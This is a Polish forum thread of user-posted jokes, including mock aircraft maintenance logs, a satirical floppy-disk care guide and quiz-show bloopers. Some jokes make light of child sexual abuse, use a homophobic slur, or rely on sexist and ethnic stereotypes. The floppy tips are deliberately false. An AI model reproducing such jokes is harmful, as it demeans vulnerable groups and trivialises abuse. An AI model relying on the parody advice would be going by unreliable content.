O: Niemal wymieniono lewa wewnetrzna opona podwozia glownego.

P: Przebieg lotu probnego OK. Jedynie uklad automatycznego ladowania przyziemia bardzo twardo.
O: W tej maszynie nie zainstalowano ukladu automatycznego ladowania.

P: Cos sie obluzowalo w kokpicie.
O: Cos umocowano w kokpicie.

P: Martwe owady na wiatrochronie.
O: Zamowiono zywe.

P: Autopilot w trybie 'utrzymaj wysokosc' obniza lot 200 stop/minute.
O: Problem nie do odtworzenia na ziemi.

P: Slady przeciekow na prawym podwoziu glownym.
O: Slady zatarto.


P: Poziom DME niewiarygodnie wysoki.
O: Obnizono poziom DME do bardziej wiarygodnego poziomu.

P: Zaciski blokujace powoduja unieruchamianie dzwigni przepustnic.
O: Wlasnie po to sa.

P: Uklad IFF nie dziala.
O: Uklad IFF zawsze nie dziala kiedy jest wylaczony.

P: Przypuszczalnie szybia wiatrochronu jest peknieta.
O: Przypuszczalnie jest to prawda.

P: Brak silnika nr 3.
O: Silnik znaleziono na prawym skrzydle po krotkich poszukiwaniach.

P: Samolot smiesznie reaguje na stery.
O: Samolot upomniano by przestal, latal prosto i zachowywal sie powaznie.

P: Radar mruczy.
O: Przeprogramowano radar by mowil.

P: Mysz w kokpicie.
O: Zainstalowano kota.

:)

Arystokrata - 21-12-2004, 13:35

Troszkę muzyki:

http://crass.on.ru/flash/bbird.html

Przeman - 23-12-2004, 08:35
Temat postu: Dla moderatorów :)
Wraca informatyk z pracy poznym wieczorem, widzi na ulicy jak jakis gosc
zamalowuje napisy na plocie... postał... popatrzył... zamyslil się i mowi
pod nosem:
- Ani chybi moderator jakis...

Pitt_M - 23-12-2004, 14:50

JAK NALEŻY DBAĆ O DYSKIETKI?

Nigdy nie pozostawiaj dyskietek w stacji dysków, jako że dane mogą wycieknąć z dyskietki powodując korozję mechanizmów stacji dysków. Dyskietki należy przechowywać zwinięte w pojemnikach na ołówki.
Dyskietki powinny być czyszczone i woskowane raz na tydzień. Mikroskopijne opiłki metalu (które mogły nagromadzić się na powierzchni dyskietki) można usunąć przesuwając silny magnes tuż nad powierzchnią dyskietki. Opiłki wbite w powierzchnie można usunąć proszkiem do czyszczenia i mydłem Przy woskowaniu dyskietek należy dbać, aby ich powierzchnia była gładka. Pozwoli to na szybsze obracanie sie dyskietki (mniejsze opory powietrza) i tym samym szybszy dostęp do danych.

Nie zaginaj dyskietek, chyba, że nie mieszczą się do stacji dysków. "Duże" dyskietki można zgiąć i używać w "małych" stacjach.

Nigdy nie wkładaj dyskietek ``do góry nogami'' do stacji. Dane mogą spaść z powierzchni dyskietki i zablokować precyzyjne mechanizmy stacji dysków.

Nie można wykonać back-up'u dyskietki przy pomocy maszyny kserograficznej. Jeśli potrzebujesz back-up'u (kopia bezpieczeństwa) swoich danych po prostu włóż dwie dyskietki do stacji. Ilekroć będziesz nagrywać swój dokument, zapisze się on na obu dyskietkach.

Nie należy wkładać bądź wyjmować dyskietek ze stacji kiedy mruga na niej czerwone światełko. Mogło by to spowodować rozmazanie tekstu, w skrajnych przypadkach czyniąc go nieczytelnym. Czasami czerwona lampka mruga pomimo, ze stacja nie pracuje. Jest to tak zwany stan "zawieszenia" lub prościej "zawieszenie". Jeśli twój system się zawiesi, będziesz zapewne musiał wrzucić kilka monet zanim odzyskasz dostęp do niego.

Jeśli twoja dyskietka jest pełna danych, a potrzebujesz więcej miejsca, to wyjmij ja ze stacji dysków i energicznie wstrząsaj przez około dwie minuty. Ubije to dane (kompresja danych) pozwalając na zapisanie większej ich ilości Nie zapomnij o zaklejeniu taśma klejąca wszystkich otworów w dyskietce, aby dane nie wypadły nimi w trakcie kompresji.

Prędkość dostępu do danych można wydatnie zwiększyć wycinając więcej otworów w koszulce dyskietki. Umożliwi to stacji dostęp do dysku w większej liczbie miejsc jednocześnie.

Dyskietek można używać jako podstawek pod szklanki z piwem (lub innymi napojami) o ile zostały poprawnie nawoskowane. Pamiętaj, aby potem wytrzeć dyskietkę do sucha.

Nigdy nie używaj nożyczek i kleju do ręcznej edycji tekstu na dyskietkach. Dane na dyskietkach są zbyt małe, aby można je było zobaczyć gołym okiem, i tak postępując możesz niechcący wkleić kawałek całkiem innego dokumentu w sam środek twojego tekstu.
W takich przypadkach można używać żyletek i taśmy klejącej, o ile jesteś wyposażony w mikroskop elektronowy.

Okresowo należy spryskiwać dyskietki środkiem owadobójczym, aby zapobiec rozmnażaniu się wirusów.

Jeśli składasz dyskietki do szafy i nie będą one używane przez dłuższy czas - nie zapomnij o przesypaniu ich naftaliną.

Marta_W - 23-12-2004, 14:56

Cytat:
Okresowo należy spryskiwać dyskietki środkiem owadobójczym, aby zapobiec rozmnażaniu się wirusów.

aj aj moja dusza biotechnologa kwiczy! wirusy się nie rozmnażają (bo nie żyją!!), jeno replikują!!
(ale generalnie pomysły na obsługę dyskietek bardzo fajne - wypróbowane?)

Ryszard Szwajcer - 23-12-2004, 16:29

Tata z synkiem na spacerze:
Synek mówi: Tata! Ten pan sie Ciebie kłania.
Tato: Synku!- nie mówi się ciebie tylko tobie.
S: mi ?????
T: nie mi, tylko mnie!!!
S: no przecież mówię, że Ciebie!

Albo inaczej!

Przez park w Bytomiu spaceruje maluch z mamą za rękę.
W pewnym momencie pokazuje palcem na gołębia i mówi:
maaamaaaa! ptok!
Obok przechodzi elegancki mężczyzna i poprawia synka: chłopcze! Nie mówi się ptok, tylko ptak.
Synek do mamy, pokazując palcem:
Jeee mama! GOROL!!!!

Kuba - 27-12-2004, 09:12

Dlaczego kot jest podobny do faceta?
1. Wrzeszczy kiedy jest głodny.
2. Zawsze pcha się do łóżka.
3. Wystarczy go pogłaskać i od razu podnosi ogon do góry.
4. Kiedy ktoś go pogłaszcze zaraz domaga się więcej.
5. Lubi ocierać się o twoja przyjaciółkę.
6. Nie lubi obcinania pazurów.
7. Czasem ma problemy z trafieniem do kuwety.
8. Ciężko przemówić mu do rozumu.
9. Jak jest zły, to zaszywa się w kącie i się nie odzywa.
10. Nie sprząta po sobie.
11. Wpycha nos do każdego garnka.
12. Nie wyjaśnia dlaczegu zniknął na cały dzień.
13. Cały czas by spał.

Efraim Ryba - 28-12-2004, 07:56

Żona mówi do męża:
- Kochanie! Już niedługo będzie nas troje!!!
- To najwspanialsza nowina jaką kiedykolwiek usłyszałem! - odpowiada mąż - Byłaś u lekarza? Wiadomo już jaka płeć? Synuś czy córeczka?!
- Och głuptasku! Moi rodzice się rozwiedli i mamusia będzie mieszkać z nami


Idzie sobie facet koło śmietnika i patrzy - baba leży w śmieciach. Podchodzi i pyta
- Babo, ty żyjesz?
- Żyję - odpowiada baba
- A rusz nogą - mówi facet.
Baba ruszyła.
- A rusz ręką - facet znowu.
Baba ruszyła.
- k...! - krzyczy facet - Całkiem dobrą babę ktoś wyrzucił!

EaserVW - 29-12-2004, 18:24

http://members.home.nl/saen/Special/zoeken.html znajdź 3 róznice

powodzenia
pozdrawiam

Marta_W - 29-12-2004, 21:00

Bosz...
spadłam z krzesła
zawału można dostać!!!! :asthanos:

kjar - 29-12-2004, 22:37

Praczłowiek do syna, który wrócił z cenzurką:
To, że masz tróję z myśliwstwa, mogę pojąć, boś jeszcze kurdupel, ale ta pała z historii ? Przecież to tylko dwie strony...

Adam - 29-12-2004, 23:19

Witam,
"O trzeciej w nocy ONA po cichutku wymknęła się z małżeńskiego
łoża do sąsiedniego pokoju. Klawiaturą rozbiła 19-calowy monitor LCD,
wszystkie płyty CD porysowała i podeptała swoimi pantoflami. Komputer
wyrzuciła przez okno a drukarkę utopiła w wannie. Potem wróciła do
sypialni, do
ciepłej pościeli i przytuliła się z miłością do boku swego nic
niepodejrzewającego, śpiącego męża, o którym była przeświadczona,
że już teraz cały wolny czas będzie przeznaczał na ich miłość.
Do końca życia zostały JEJ jeszcze cztery godziny..."

kjar - 01-01-2005, 17:22

Z cyklu "Przysłowia Polskie":

- Nie taka baba straszna... jak się umaluje.

- Ten się śmieje ostatni... kto wolniej kojarzy.

- Kto pod kim dołki kopie... ten szybko awansuje.

- Nie pożądaj żony bliźniego swego... nadaremno.

- Jak cię widzą... to pracuj.

- Tym chata bogata... co ukradnie tata.

- Kto rano wstaje ten... idzie po bułki.

- Nie ma tego złego... co by nam nie wyszło.

- Jak sobie pościelesz... to mnie zawołaj.

tsharny - 03-01-2005, 13:18

No to ja też swoje 3 grosze ;)

- Gość w dom... żona w ciąży

- Kto rano wstaje... ten się nie wysypia

- Komu w drogę... temu trampki

jak mi się coś przypomni to dopiszę ;)

pozdrawiam
tsharny

kjar - 04-01-2005, 01:35

Przytaczam, chociaż tekst jest właściwie bardziej prawdziwy, niż śmieszny.


Etapy kariery zawodowej

1. Neofita - zawsze przychodzi do pracy punktualnie. Wychodzi troszkę przed czasem. Robi sobie długie przerwy na lunch poza biurem. Większość swojego czasu spędza poza pracą. Nie jest za nic ważnego odpowiedzialny. Z chęcią podejmuje się każdej czynności, np. odkurzenia twojej klawiatury. Nie może uwierzyć, że zarabia tyle pieniędzy, że może spokojnie gadać przez telefon z kumplami / przyjaciółkami i cały dzień surfować po Internecie. Życie jest piękne!

2. Początkowy etap kariery - zawsze przychodzi i wychodzi z pracy równo o czasie. Czuje się ważny i doceniony, kiedy szef prosi, żeby zostać po godzinach. Robi to bez niechęci. Chwali się znajomym: "Wybrałem wczoraj czcionkę do prezentacji szefa w Power Poincie!" Za bonus w wysokości 100 zł gotowy jest poświęcić się firmie do końca życia. Zdarza mu się jeść lunch przy biurku. Życie jest bardzo przyjemne.

3. Pracownik średniego szczebla - zdarza mu się wychodzić później z pracy. Nigdy nie bierze lewych zwolnień, żeby mieć wolny dzień. Jest całkowicie odpowiedzialny za projekty o zupełnie nikłym znaczeniu, np. zmianę nazwy "Grupa systemowa" na "Grupa technologiczna" we wszystkich firmowych dokumentach. Nadal przychodzi do pracy z chęcią. Życie osobiste zaczyna powoli tracić na znaczeniu. Jest zachwycony każdą małą pochwałą i premią.
Życie jest przyjemne.

4. Pracownik z doświadczeniem - zdarza mu się przychodzić do pracy przed czasem. Często zostaje po godzinach. Zawsze je lunch przy biurku. Został mu jeden lub dwóch przyjaciół, którzy nie są związani z jego praca. Jest odpowiedzialny za prawdziwe zadania, których niepowodzenie nie wpłynie jednak znacząco na kondycję firmy. Nadal ma czas, żeby korzystać z motywacyjnych podarunków firmy w postaci np. biletów na kręgle. Życie jest OK.

5. II etap kariery - zawsze przychodzi wcześnie do pracy. Zwykle wychodzi ostatni. Większość życia zajmuje mu sporządzanie bardzo pilnych raportów z tysiącami nic nieznaczących cyfr. Cała jego pewność siebie zależy od aprobaty i pochwał szefostwa. Większość pensji wydaje na rzeczy, które ponoszą jego image i status społeczny. Jest całkowicie poświęcony pracy i kocha ja do szaleństwa. W rzadkich chwilach wolnego czasu nie jest w stanie robić nic innego poza kilkugodzinnym bezmyślnym przerzucaniem kanałów w TV. Życie jest stresujące.

6. III etap kariery - robi dokładnie to samo, co na II etapie, przy czym prowadzone przez niego projekty mają już wpływ na kondycję i sukces całej firmy. Praca już go tak nie pasjonuje, nawet pomimo niesamowitych pieniędzy, jakie za nią dostaje. Zastanawia się nad złożeniem wypowiedzenia. Jedyną rzeczą, która nie pozwala mu podjąć tej decyzji, jest olbrzymi kredyt na dom, który musi spłacać. Nie ma pojęcia, co ze sobą począć, kiedy zdarza mu się wolny dzień. Życie jest piekłem.

7. Początkujący manager - mówi innym ludziom, co mają robić. Uwielbia władzę. Musi cały czas udowadniać swoje oddanie managerom, którzy znajdują się na wyższym szczeblu łańcucha pokarmowego. Zawsze pracuje do późna, żeby zrobić wreszcie wszystkie najważniejsze rzeczy, których nie da się w żaden sposób wykonać w normalnych godzinach pracy. Ma pięć razy więcej garniturów niż przyjaciół. Życie osobiste i relacje z współmałżonkiem zaczynają się w szybkim tempie załamywać. Życie jest stresujące.

8. Manager średniego szczebla - spędza cały dzień na dyskutowaniu, spotkaniach i opisywaniu wszystkich rzeczy przy pomocy nic nieznaczących sloganów biznesowych. Nadal pracuje do późna, ale tylko dla ważnych klientów lub, jeśli ma następnego dnia wystąpienie na konferencji. W przeciwieństwie do pracowników na II i III szczeblu kariery oraz początkujących managerów, zdarza mu się zimą oglądać słońce po jego wschodzie lub przed jego zachodem. Jest rozwiedziony i nie ma przyjaciół. Życie jest OK.

9. Manager wyższego szczebla - lubi czytać raporty i wygłaszać długie przemówienia na spotkaniach. Zwykle wychodzi z pracy o czasie, chyba, że musi wyjść wcześniej na golfa z innymi managerami swojego szczebla. Bardzo rzadko musi przed kimś schylać z uniżeniem głowę. Nie ma już w szafie żadnej pary jeansów. Nawet nie może sobie przypomnieć, kiedy ostatnio korzystał ze środków transportu publicznego. Życie jest przyjemne.

10. Prezes - chociaż ma już dorosłe i bogate dzieci, przychodzi do pracy dla czystej przyjemności i zabawy. Wygłasza kwestie typu "Musimy wejść silniej na rynek w Liberii" i w ciągu następnych kilku miesięcy, to się naprawdę dzieje. Jeśli się jednak nie udało, prezes musi się jeszcze bardziej napracować i powtórzyć raz jeszcze: "Dlaczego nie wejdziemy silniej na rynek w Liberii?". W jakiś cudowny sposób wszystko się układa pomyślnie, a prezes po raz kolejny zostaje okrzyknięty geniuszem i wizjonerem. Życie jest piękne!

gommez - 06-01-2005, 20:21

Sorry ze w lenglydzu, ale inaczej traci cala poezje w nim zawarta :)

The Englishman's wife steps up to the tee and, as she bends over to place her ball, a gust of wind blows her skirt up and reveals her lack of underwear.
"Good God, woman! Why aren't you wearing any knickers?" her husband demanded.
"Well, you don't give me enough housekeeping money to afford any."
The Englishman immediately reaches into his pocket and says,"For the sake of decency, here's 50 pounds. Go and buy yourself some underwear."
Next, the Irishman's wife bends over to set her ball on the tee. Her skirt also blows up to show that she is wearing no undies.
"Blessed Virgin Mary, woman! You've no knickers. Why not?"
She replies, "I can't afford any on the money you give me."
He reaches into his pocket and says, "For the sake of decency, here's 20 pounds. Go and buy yourself some underwear!"
Lastly, the Scotsman's wife bends over. The wind also takes her skirt over her head to reveal that she, too, is naked under it. "Sweet mudder of Jesus, Aggie! Where the frig are yer drawers?" She too explains, "You dinna give me enough money ta be able ta affarrd any."
The Scotsman reaches into his pocket and says, "Well, fer the love 'o Jasus, 'n the sake of decency, here's a comb. Tidy yerself up a bit"

Te_Pe - 10-01-2005, 10:26
Temat postu: dzisiejsza paczka
Mąż wraca z pracy i widzi w popielniczce dymiące cygaro.
- Skąd jest to cygaro?
- Nie wiem.
- Pytam: skąd jest to cygaro!?
Głos z szafy:
- Z Hawany, idioto!


Jaś wraca wieczorem ze szkoły i od razu kładzie się spać.
- Lekcje odrobiłeś? - pyta zdziwiona mama
- Nie!
- Dlaczego?!
- Bo nasza pani powiedziała, że jak przeczyta jeszcze jedno moje
wypracowanie to umrze na zawał! A niech sobie pożyje


Po przejechaniu na czerwony świetle policjant zatrzymuje auto. Przez szybę
wychyla głowę usmiechnięta na widok policjanta pani.
- Kaziu nie pamiętasz mnie? Uczyłam Cię w podstawówce polskiego?
- Oczywiście, że pamiętam więc na odwrocie tego mandatu napisze pani 100
razy "Nie będę przejeżdżać na czerwony świtle"


- Dostałem dziś emeryturę i chyba zaszaleję!
- Jak?!
- Włączę światło na pół godziny!


Zdenerwowana blondynka krzyczy do boy'a hotelowego:
- Pan sobie myśli, że jak jestem ze wsi, to może mnie pan wsadzić do
tak małego pokoju?!
Boy:
- Ależ proszę pani, jedziemy na razie windą


Staruszka zbiera grzyby w lesie. Podchodzi do niej leśnik, zagląda
do jej koszyka i mówi:
- Proszę natychmiast wyrzucić te grzyby. Nie można ich jeść!
A staruszka na to:
- One nie są do jedzenia, tylko do sprzedania.


Ksiądz poucza gosposię:
- Dziś wieczorem, jak przyjdą goście, podaj tylko drinki, bez
niczego.
- Ależ proszę księdza ! - tak podaję tylko księdzu - może włożę
chociaż fartuszek????


- Tatusiu, tatusiu, Marsjanie to nasi przyjaciele czy wrogowie?
- Czemu pytasz synku?
- Bo przyleciał wielki statek kosmiczny i zabrał babcie.
- Aa, w takim razie to przyjaciele.


Policjant zatrzymuje kierowcę:
- Jak pan mógł jechać tu 140km/h? Mógł się pan zderzyc z innym
samochodem!
- Niby jak? Na chodniku ??


Pani Izabela zgłasza się do rabina z prośbą o rozwód.
- Bój się, pani, Boga - powiada rabin - przecież ma pani takiego
porządnego męża.
Czy ma pani coś mu do zarzucenia?
- Rebe, ja podejrzewam mojego męża, że to ostatnie dziecko, które mamy,
to nie jest jego...


Pewna londyńska firma zamieściła w prasie ogłoszenie o pracę.
Odpowiedziały na nie trzy osoby: Niemiec, Francuz i Hindus. Komisja
przeprowadzająca rozmowę kwalifikacyjną chcąc sprawdzić poziom znajomości
języka angielskiego u kandydatów, poleciła, aby każdy z nich ułożył
zdanie, które zawierać będzie trzy słowa: green, pink i yellow.
Na pierwszy ogień poszedł Niemiec:
- When I wake up I see yellow sun, green grass and I think to myself that
will be wonderful, pink day.
Jako drugi był Francuz:
-When I wake up I put my green pants, yellow socks and pink shirt.
Na koniec Hindus:
-When come back home I hear the telephone green green, so I pink up the
phone and say: Yellow!


Wchodzi facet do domu i widzi, jak pakuje się jego dziewczyna.
- Co robisz kochanie?
- Odchodzę od Ciebie...
- Ale dlaczego?????
- Bo jesteś pedofilem!!!!
- Mocne słowa jak na dziewieciolatke.


Jeżeli w małżenstwie dzieje sie źle, to winne sa obie strony: i żona i teściowa.


Małżonkowie wpadają na dworzec kolejowy, co sił biegną na peron,
niestety, za późno. Mąż odwraca sie do żony i krzyczy:
- Gdybyś się tak nie guzdrala, to byśmy zdążyli!
- Gdybyś mnie tak nie poganiał, to byśmy krócej czekali na następny!

amanecer - 16-01-2005, 22:31

hahaha:)))
ubawilam sie setnie:)))


Teleturniej "Jeden z dziesięciu":

Tadeusz Sznuk: Ile nóg ma salamandra ?
Zawodniczka: Trzy
T.Sz.: To chyba kulawa...

- Proszę podać wzór na pole prostokąta...
- a kwadrat + b kwadrat. - O Boże powiedziałam wzór na obwód
- Niestety Pani wzór na obwód również jest nieprawidłowy...

- Jaką część ciała odciął sobie Vincent van Gogh?
- yyy...yyy... włosy?!

Pytanie: - Głowni bohaterowie "Nocy i dni"
Odpowiedź: - Jan i Bogumił
Sznuk: - To byłoby takie nowoczesne małżeństwo...

Pytanie: - Jak się nazywa szpital wojskowy?
Odpowiedź: - Latryna.

Pytanie (kategoria powiedzenia i przysłowia):
Proszę dokończyć. - Goły jak święty...?
Odpowiedź: - Mikołaj...

- Jak nazywa się mężczyzna którego żona wyjechała na wakacje?
[odp: słomiany wdowiec]
Odpowiedź jednego z graczy: - Rogacz

- Jaki narząd umożliwia rybom oddychanie pod wodą?
- Syfon.

- Ile par oczu ma mucha?
- 100 milionów

- Jak się nazywał chłopiec z bajki o królowej śniegu
- yyy... będę strzelał... Pinokio

- Ile w języku polskim rozróżniamy przypadków w liczbie pojedynczej, a ile
w liczbie mnogiej?
- Tyle samo

Sznuk: Znajduje się w spodniach i na świadectwie?
Zawodniczka: PAŁA!
Sznuk: Hmm...to też, ale chodziło nam o pasek



Familiada

Podaj rodzaj farby.
- Czerwona!
Wobec braku takowej odpowiedzi na tablicy Strasburger pyta kolejnego
zawodnika:
- Podaj rodzaj farby.
- Zielona!

Pyt. - Sport, w którym biorą udział zwierzęta.
Odp. - Walka jeleni na rykowisku...

- Podaj rodzaj potwora.
- Kangur!

- Więcej niż jedno zwierze, to...?
- Owca.
- Źle. Pytanie przechodzi na druga rodzinę. Więcej niż jedno zwierze,
to...?
- Lama?

- Co robią koty?
- Skakają

Pytanie: Dokąd rodzice nie zabierają ze sobą dzieci?
Odp.: Do agencji towarzyskiej.

Pytanie: Jaka może byc bańka?
Odp. 1: Mydlana (braaaaawo)
Odp. 2: Bańka na mleko (braaaaawo)
Odp. 3: Bańka wstańka, taka zabawka.

- Nazwa przylądka?
- Przylądek Zdrój.

- Rodzaj kiełbasy?
- Szynka!

Pytanie: - Wymień zwierzę w paski...
Odpowiedź: - Biedronka!

:lol:

Efraim Ryba - 17-01-2005, 08:30

- Mamo, mamusiu, daj mi ciasteczko, proszę....
- To sobie weź.
- mamo, mamusiu, ale przecież wiesz, że nie mam rączek...
- ch..., nie ma rączek, nie ma ciasteczek....


Wieczór świateczny, z lodówki wychodzi wielka, tłusta mysz, pod jedną pachą wielkie koło sera, pod druga pęto kiełabasy. Cieżkim krokiem zmierza do swojej mysiej dziury. patrzy, leży pułapka na myszy a w niej mały, zeschnięty kawałek słoniny. Mysz z politowaniem kręci głową i mówi:
- jak dzieci, k...., jak dzieci....

mariusz wydro - 17-01-2005, 09:21

to może i ja coś dołożę:


siedzi na gałęzi kruk. podlatuje zając:
-co robisz??- się pyta
- a op.....alm się!!- odpowiada
- a ja mogę??- pyta zając
- oczywiście - odpowiada
po jakimś czasie przybiega następny zając i sytuacja się powtarza
zebrało się parę zajęcy.
przyszedł wilk zjadł zające a kruk uciekł!! jaki z tego morał??

op....lać to się mogą ale ci na gorze
-----------------------------------------------------------------------

prezes bardzo bogatej firmy przymuje pracownika i omawia warunki pracy:
praca 8 godz. miesięczna gaża 10tys, komórka, auto słóżbowe do własnej dyspozycji, dzieci mogą się uczyć gdzie chcą i co tylko sobie wymyśli.
pierwszy dzień w pracy siedzi mija 16-a, 17-a nikt sie nie rusza a jemu tak głupio pierwszemu wyjść. 18-a ktoś się ruszył wyszedł i dopiero wedy zerwał się i wyszedł. sytuacja powtarza się przez cały tydzień i wkońcu prezes wzywa tego pracownika do siebie na rozmowę.
- ooooo!! coś się pan opuscza w pracy panie kolego!! tak wcześnie z pracy??- prezes
- ale tam któs ze stanowiska z pod ściany o 18-stej kończył pracę??
- o przepraszam pan piotr jest na urlopie!!!
-------------------------------------------------------------------------------------------

leci samolot a w samolocie jest również dwóch pedałów!! i nagle jeden do drugiego mówi
- ty może zrobimy mały numerek??
-eeee!! co ty tu w samolocie?? ludzie patrzą!!
- co ty!! nikogo to nie interesuje!! zapytaj o coś to zobaczysz!!
wstał ten drugi i mówi
- przepraszam państwa czy ktoś z państwa ma długopis??
nikt nawet nie mrógnął okiem ani się nie odwrócił
oni zrobili co trzeba i zadowoleni czekają na koniec podróży
po wylądowaniu stweardesa sprawdza i przechodząc widzi że między siedzeniami leży dziadzuś zarzygany wymęczony blady. pyta się dlaczego nie poprosił woreczka jak mu się niedpbzre zrobiło.
a on na to:
- pani jak jeden poposił o długopis to go wy.....li!!!!!!


:razz: :razz: :razz: :razz:

Mania - 17-01-2005, 14:02
Temat postu: zycie mogloby byc piekne
Gdyby czas płynął w druga stronę to byłoby tak pięknie...
Zaczyna się od tego, ze kilku gości przynosi cię w skrzyneczce i
oczywiście od razu trafiasz na imprezę. Potem żyjesz sobie spokojnie jako
starzec w domku. Stajesz się coraz młodszy. Pewnego dnia dostajesz
odprawę w postaci grubszej gotówki i idziesz do pracy. He! Pracujesz
jakieś 40 lat i poznajesz uroki życia. Zaczynasz pić coraz więcej
alkoholu, coraz częściej chodzisz na imprezy no i coraz częściej
uprawiasz seks. Jak juz masz to opanowane, jesteś gotów żeby trafić na studia.
Potem idziesz do szkoły. Coraz mniej od ciebie wymagają,
masz coraz więcej czasu na zabawę. Robisz się coraz mniejszy, aż
trafiasz do... hmm, gdzie pływasz sobie przez 9 miesięcy wsłuchując
się w uspokajający rytm bicia serca. A potem nagle BĘC!! Twoje życie
kończy się orgazmem...

Miłosz - 17-01-2005, 16:09

- Słyszałem, ze są takie szkła, przez które wszystko wydaje się piękniejsze,
nawet własna żona.
- Ja tych szkieł używam już od dawna, tylko ze ciągle trzeba je napełniać.

amanecer - 17-01-2005, 17:14
Temat postu: niektore sa naprawde celne:)
Faceci są jak...

Facet jest jak kawa: Najlepszy jest silny, gorący, pełen subtelnego smaku i nie pozwala ci zasnąć przez cala noc.

Facet jest jak cement: po położeniu trzeba dużo czasu żeby stwardniał.

Facet jest jak batonik czekoladowy: Słodki i pierwsze co robi to dobiera ci się do bioder.

Facet jest jak śrubokręt: Potrzebujesz, ale właściwie nie wiesz do czego.

Facet jest jak torba turystyczna: zapakuj piwem i już możesz zabrać wszędzie.

Facet jest jak ksero: służy do powielania, i nic poza tym.

Facet jest jak lokówka: zawsze jak jest gorący to dobiera ci się do włosów.

Facet jest jak obligacje rządowe: tak długo zajmuje żeby odpowiednio dojrzał.

Facet jest jak horoskop: codziennie dyktuje ci co masz zrobić i zawsze się myli.

Facet jest jak kosiarka: jak go osobiście nie popchniesz, to nic z jego funkcji.

Facet jest jak strumyk: milo popatrzeć, ale trzeba pamiętać ze nie każdy jest odpowiednio bystry.

Facet jest jak Laxigen: zawsze irytuje cię od środka.

Facet jest jak Mascara: znika na widok pierwszej łzy.

Facet jest jak mini spódniczka: jak nie uważasz, zaraz odsłoni ci majtki.

Faceci są jak miejsca na parkingu: Najlepsi zawsze zajęci, wolni tylko "niepełnosprawni" lub najmniejsi.

Faceci to hydraulicy: albo w sklepie z narzędziami, albo godzinami w łazience.

Faceci są jak wino: satysfakcjonują cię, ale na krotko.

Faceci są jak koty: pokazują się tylko wtedy, gdy na stole postawisz jedzenie.

Faceci są jak burza śnieżna: nigdy nie wiesz kiedy przyjdą, ile będą mieli centymetrów i ile wytrzymają.

Faceci są jak używane samochody: tanio można kupić, ale nie możesz na nich polegać.

Faceci są jak wakacje: Zwykle nie takiej długości jak byś chciała.

Faceci są jak pogoda: trzeba zaakceptować, bo nic nie możesz zrobić aby zmienić.


:lol:

nevada - 17-01-2005, 19:18

Nishigoi napisał/a:
Słyszałem, ze są takie szkła, przez które wszystko wydaje się piękniejsze,
nawet własna żona.
- Ja tych szkieł używam już od dawna, tylko ze ciągle trzeba je napełniać.


cholera Nishigoi, ja myślałem że moja żona pięknieje, a tu po prostu wzrok tracę :22:

antonioni - 17-01-2005, 23:38
Temat postu: Re: niektore sa naprawde celne:)
amanecer napisał/a:
Faceci są jak...


Telefon!

Albo nie odbierają, albo zajęci, albo... poza zasięgiem ;-)

gommez - 19-01-2005, 11:33

Stały sobie w parku dwa posagi, naga kobieta i nagi mężczyzna. Ustawiono je tak, że
patrzyły na siebie wzrokiem, w którym można było odczytać nutę pożadania. I stały tak lata i dziesięciolecia całe, i w upał i w słotę, pod deszczem i w słońcu, pod opadajacymi
jesiennymi lisćmi i wsród wiosennych tulipanów. Aż pewnego dnia zjawił się w parku dobry
anioł, spojrzał na posagi i powiedział:

- "Za to, że tak dzielnie przez całe lata w tym parku stoicie, ożywię was na pół godziny,
będziecie mogli zejsć z cokołu i zrobić, co tylko zapragniecie". Cud się dokonał. Posagi
zeszły z cokołu, chwyciły się za ręce i czym prędzej pobiegły w pobliskie krzaki, z których
wkrótce zaczęły dobiegać pomruki i okrzyki rozkoszy. Wreszcie z krzaków ponownie
wynurzyła się para posagów: - "Ach, jak cudownie było", rzekła kobieta.

- "Tak, doprawdy to wspaniałe", rzekł mężczyzna.
Obserwujacy ich z usmiechem anioł zauważył:
- "Słuchajcie, minęło dopiero piętnascie minut, macie do dyspozycji jeszcze drugie tyle!"
- "To co, wracamy w krzaki?", zapytał mężczyzna
- "Tak, tak, musimy koniecznie to powtórzyć !", odparła kobieta.
- "No dobrze, ale tym razem to Ty trzymasz gołębia, a ja mu będę srać na głowę!"


***


Student przychodzi na egzamin z logiki i na bezczelnego pyta profesora;
- Pan sie lapie w tej logice panie Profesorze?
- Oczywiscie, co za pytanie.
- To ja mam taka propozycje panie Profesorze, zadam panu pytanie i jesli pan nie odpowie stawia mi pan 5, a jesli pan odpowie wywala mnie pan na zbity pysk.
- OK. Niech pan pyta
- Co obecnie jest legalne, ale nie logiczne, logiczne ale nielegalne, a co nie jest logiczne ani legalne?
Profesor nie znal odpowiedzi postawil studentowi 5 i wola swojego najlepszego studenta i pyta go o odpowiedz. Ten mu natychmiast odpowiada:
- Ma pan 65 lat i jest pan zonaty z 25 letnia kobieta, co jest legalne, ale nie logiczne.
- Pana zona ma 20 letniego kochanka, co jest logiczne ale nie legalne.
- Pan stawia kochankowi swojej zony 5 chociaz powinien go pan wywalic na zbity pysk i to nie jest ani logiczne ani legalne...

ewick - 19-01-2005, 12:27

cholera Nishigoi, ja myślałem że moja żona pięknieje, a tu po prostu wzrok tracę taaa, mężu??? :angryfire:
nuras5 - 20-01-2005, 11:11

ewick napisał/a:
cholera Nishigoi, ja myślałem że moja żona pięknieje, a tu po prostu wzrok tracę taaa, mężu??? :angryfire:



Nishi- na Twoim miejcu gnałbym już przez kwiaciarnię do jubilera i nie zwalniał na zakrętach :padn:
:lol: :lol: :lol:

Mania - 20-01-2005, 11:18

Nuras
ale to Nevadzie sie dostanie......
Nishi nie ma z tym nic wspolnego
Mania
Ciekawe czy Nevada juz spi na wycieraczce czy za chwile? :mrgreen:

Miłosz - 20-01-2005, 11:38

Bueheheh... No, ładnie się narobiło. Dzięki, Mania. Jeszcze jak by się cudze żony na mnie obruszały, to by był koniec chyba. :mrgreen: :angel2:

Pozdro,
Nishi :balloon:

Rumelia - 20-01-2005, 13:16

Od lat kocham tą samą kobietę. Żona mnie zabije, jak się dowie!


Mamy z żoną sposób na szczęśliwe pożycie małżeńskie. Dwa razy w
tygodniu idziemy do przytulnej restauracji, trochę wina, dobre
jedzenie, później wspaniały sex... Żona chodzi we wtorki, a ja w piątki.


Zapytałem żonę: Gdzie chciałabyś pójść na naszą rocznicę. Ona na to: Gdzieś, gdzie jeszcze nie byłam. Więc mówię: Może do kuchni?



Zawsze trzymamy się za ręce. Jak puszczę, to zaraz robi zakupy.



Żona ma elektryczną sokowirówkę, elektryczny toster,
elektryczny piecyk do chleba. Kiedyś powiedziała, że ma tyle
gadżetów, że nie ma gdzie usiąść. Więc jej kupiłem krzesło
elektryczne.



